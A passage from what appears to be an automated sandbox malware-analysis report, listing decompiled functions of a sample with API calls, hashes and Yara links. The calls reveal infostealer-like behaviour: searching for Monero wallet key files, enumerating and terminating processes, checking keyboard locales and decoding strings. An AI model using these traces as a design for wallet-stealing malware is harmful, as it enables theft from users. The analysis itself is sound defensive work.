                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
                                      • String ID: \*.*
                                      • API String ID: 2325840235-1173974218
                                      • Opcode ID: 486cea9ad92ce75b6ad7443e9831ad90b00e5a399aaccd1d5c00146d5d0fc7c2
                                      • Instruction ID: aae260b8640e2615185bbef66aabe4411bd2f17f6fd5df998cdf48c304563f20
                                      • Opcode Fuzzy Hash: 486cea9ad92ce75b6ad7443e9831ad90b00e5a399aaccd1d5c00146d5d0fc7c2
                                      • Instruction Fuzzy Hash: 91F1BE719642189ACB59FBA0CDA6EEF733ABF54340F8045DDA10A620D1EF706B88CF55
                                      Function 005FDB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006115A8,00610BAF), ref: 005FDBEB
                                      • StrCmpCA.SHLWAPI(?,006115AC), ref: 005FDC33
                                      • StrCmpCA.SHLWAPI(?,006115B0), ref: 005FDC49
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 005FDECC
                                      • FindClose.KERNEL32(000000FF), ref: 005FDEDE
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
                                      • String ID:
                                      • API String ID: 3334442632-0
                                      • Opcode ID: 2395f563074636f3c4964363955e65ebbde80ec6f8ddab39e87a5939488a468f
                                      • Instruction ID: 4668fca3ab32f87dfd841be289aa27534cd7fe2b63e101d7d9053bf1707adb62
                                      • Opcode Fuzzy Hash: 2395f563074636f3c4964363955e65ebbde80ec6f8ddab39e87a5939488a468f
                                      • Instruction Fuzzy Hash: C0912372A502089BCB58FBB0DD569FE777EAB84340F40866CF907561C1EE349B48CB96
                                      Function 006098E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00609905
                                      • Process32First.KERNEL32(005F9FDE,00000128), ref: 00609919
                                      • Process32Next.KERNEL32(005F9FDE,00000128), ref: 0060992E
                                      • StrCmpCA.SHLWAPI(?,005F9FDE), ref: 00609943
                                      • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0060995C
                                      • TerminateProcess.KERNEL32(00000000,00000000), ref: 0060997A
                                      • CloseHandle.KERNEL32(00000000), ref: 00609987
                                      • CloseHandle.KERNEL32(005F9FDE), ref: 00609993
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
                                      • String ID:
                                      • API String ID: 2696918072-0
                                      • Opcode ID: 4a41ea7571caf0573e3f0b03cd9712413fe335733c17797dc169cfb0bfade97b
                                      • Instruction ID: cc7089ebc6116ccb95841016cdde1c97ee76561fef09046c92ab4ccb9ba0d5a3
                                      • Opcode Fuzzy Hash: 4a41ea7571caf0573e3f0b03cd9712413fe335733c17797dc169cfb0bfade97b
                                      • Instruction Fuzzy Hash: 3411EF75904218ABDB24DFA5DC48FDEB77ABB48701F04458CF506A6280D7749A84CFA0
                                      Function 00A41A4C Relevance: 11.6, Strings: 8, Instructions: 1641COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: "bGg$$p'{$6_G$8Kw+$:_}$D!x$K~o3$cUoo
                                      • API String ID: 0-1948594022
                                      • Opcode ID: 56fe7d4bd5dee54bfb10c89020c4b1d92533353b3841ba54aed1bf78ef611a4c
                                      • Instruction ID: 2df5bb9d96efe9da390685b9f69f6f9b964b2b84eafd0ed4d17b4aea543a3c01
                                      • Opcode Fuzzy Hash: 56fe7d4bd5dee54bfb10c89020c4b1d92533353b3841ba54aed1bf78ef611a4c
                                      • Instruction Fuzzy Hash: 27B217F360C204AFE7046E2DEC8567EBBE5EF94720F1A4A3DE6C5C3744E63598018696
                                      Function 00607D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      • GetKeyboardLayoutList.USER32(00000000,00000000,006105B7), ref: 00607D71
                                      • LocalAlloc.KERNEL32(00000040,?), ref: 00607D89
                                      • GetKeyboardLayoutList.USER32(?,00000000), ref: 00607D9D
                                      • GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00607DF2
                                      • LocalFree.KERNEL32(00000000), ref: 00607EB2
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
                                      • String ID: /
                                      • API String ID: 3090951853-4001269591
                                      • Opcode ID: aee51c82c0919c8868d74613e5e42dd6b0305968fc6ef69d9188982d568766bc
                                      • Instruction ID: bb38b160a42fb477c97448a1069607a16a3da1dc7d1d471152d5a1f6c664778b
                                      • Opcode Fuzzy Hash: aee51c82c0919c8868d74613e5e42dd6b0305968fc6ef69d9188982d568766bc
                                      • Instruction Fuzzy Hash: D0413A71981218ABDB68EB94DC99BEEB37AFF44700F1041D9E00A622D1DB742F84CF65
                                      Function 00A3935D Relevance: 10.4, Strings: 7, Instructions: 1662COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: +z}$Aw7$_zD$g+Y$||oG$K_$M}7
                                      • API String ID: 0-792419100
                                      • Opcode ID: 8be8f83b43eaeb26e2d9a25132da4c0c30b98d7eefa0a503f867556b887ade97
                                      • Instruction ID: 3b2f1c39b9767d0138c632ad5dfd327adff889c698d110f2f6facb179ff0226f
                                      • Opcode Fuzzy Hash: 8be8f83b43eaeb26e2d9a25132da4c0c30b98d7eefa0a503f867556b887ade97
                                      • Instruction Fuzzy Hash: 95B206F360C2049FE304AE2DEC8567AFBE9EF94620F16893DE6C5C7744EA3558018696
                                      Function 00A40088 Relevance: 10.3, Strings: 7, Instructions: 1584COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: 0c$QXov$_zD$y!j_$5f~$m?P$}z
                                      • API String ID: 0-3845450492
                                      • Opcode ID: ddb7a0a9789763d71bf7ac6f770a9784615bc5f0bbc14ddbc8885a3f728cc88c
                                      • Instruction ID: 5569191d7d27c5af73ebedf09758438110b164279922bdb3f540cd7c7adf01bd
                                      • Opcode Fuzzy Hash: ddb7a0a9789763d71bf7ac6f770a9784615bc5f0bbc14ddbc8885a3f728cc88c
                                      • Instruction Fuzzy Hash: E7B204F3A0C2149FE3046E2DEC8567AFBE9EF94720F16493DEAC487344EA3558058697
                                      Function 00A43547 Relevance: 10.3, Strings: 7, Instructions: 1564COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: !~$* s$6Wd$Re}*$fK~U$q%n$yL
                                      • API String ID: 0-1637496169
                                      • Opcode ID: 65eb011cf6cefa4d7944a39e61e87c0c9d9c051b22df1951e7ba6754ee5cb8d7
                                      • Instruction ID: be3b0c0087a3dff656bf6ca6b0eb8bf2365a62b6d776412004966ee2879552dc
                                      • Opcode Fuzzy Hash: 65eb011cf6cefa4d7944a39e61e87c0c9d9c051b22df1951e7ba6754ee5cb8d7
                                      • Instruction Fuzzy Hash: 32A2F8F36086109FE304AE2DEC8567AFBE9EFD4720F16893DE6C4C7744E63598058692
                                      Function 005FE530 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00610D79), ref: 005FE5A2
                                      • StrCmpCA.SHLWAPI(?,006115F0), ref: 005FE5F2
                                      • StrCmpCA.SHLWAPI(?,006115F4), ref: 005FE608
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 005FECDF
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
                                      • String ID: \*.*
                                      • API String ID: 433455689-1173974218
                                      • Opcode ID: 0ee682ddfd7e2dea2f2b329e32e93875bb93f23f2380d46e6350c0b935c268cd
                                      • Instruction ID: 95a029fdc5158870237a8b1597b4570a29d0d43bb96f76f87631b5ddf05d4727
                                      • Opcode Fuzzy Hash: 0ee682ddfd7e2dea2f2b329e32e93875bb93f23f2380d46e6350c0b935c268cd
                                      • Instruction Fuzzy Hash: 64122172A502189BDB58FBA0DCA6EFF733AAF54340F4045ADA50A560D1EF305B88CF56
                                      Function 005FA210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O_,00000000,00000000), ref: 005FA23F
                                      • LocalAlloc.KERNEL32(00000040,?,?,?,005F4F3E,00000000,?), ref: 005FA251
                                      • CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O_,00000000,00000000), ref: 005FA27A
                                      • LocalFree.KERNEL32(?,?,?,?,005F4F3E,00000000,?), ref: 005FA28F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: BinaryCryptLocalString$AllocFree
                                      • String ID: >O_
                                      • API String ID: 4291131564-1568738855
                                      • Opcode ID: 0c7dabc6b7510dd0c994ff6c90a61723f168b1608d73817264eabaa364d86e94
                                      • Instruction ID: 7270d513d61600e30e2a814fad2f870cb11d25a139707bcdc82ce23796dca4e6
                                      • Opcode Fuzzy Hash: 0c7dabc6b7510dd0c994ff6c90a61723f168b1608d73817264eabaa364d86e94
                                      • Instruction Fuzzy Hash: 9F11A4B4240308AFEB11CFA4CC95FAA77B5FB89B10F208458FE199B390C776A941CB50
                                      Function 00A46AAF Relevance: 7.8, Strings: 5, Instructions: 1558COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
